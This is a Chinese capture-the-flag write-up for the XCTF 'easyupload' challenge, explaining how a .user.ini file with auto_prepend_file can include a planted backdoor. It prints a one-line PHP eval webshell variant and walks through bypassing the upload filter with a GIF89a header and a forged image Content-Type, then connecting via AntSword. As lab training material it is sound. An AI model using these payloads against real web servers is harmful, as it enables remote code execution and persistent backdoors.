攻防世界—easyupload

知识点补充

.user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

常用配置

php 复制代码
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

一句话木马变种

这里的题目由于使用了php标签过滤所以不能使用最基本的一句话木马,

变种马:

复制代码
   <?=eval($_POST['1']);?>

解题思路

1.创建一个.user.ini的文件,内容如下

php 复制代码
GIF89a
auto_prepend_file=1.jpg

2.开启抓包拦截,将上面的文件上传并提交

3.修改Content-Type:内容变成 image/jpg

4.发包,在浏览器上传一个带有一句话木马的1.jpg文件发现上传成功

5.在f12里查看上传文件的路径

6.将url粘贴进蚁剑,并连接,在文件目录的最下方有flag文件

相关推荐
墨黎芜16 分钟前
SQL Server从入门到精通——C#与数据库
数据库·学习·信息可视化
爱学习的阿磊16 分钟前
持续集成/持续部署(CI/CD) for Python
jvm·数据库·python
一个响当当的名号17 分钟前
lectrue10 排序和聚合算法
数据库
hamawari23 分钟前
SQL语法
数据库·sql·oracle
陌上丨27 分钟前
Redis内存使用率在95%以上,请问是什么原因?如何解决?
数据库·redis·缓存
m0_5613596739 分钟前
使用PyQt5创建现代化的桌面应用程序
jvm·数据库·python
2301_7903009640 分钟前
用Python实现自动化的Web测试(Selenium)
jvm·数据库·python
青岑CTF41 分钟前
攻防世界-Web_php_include-胎教版wp
开发语言·安全·web安全·网络安全·php
m0_561359671 小时前
使用Docker容器化你的Python应用
jvm·数据库·python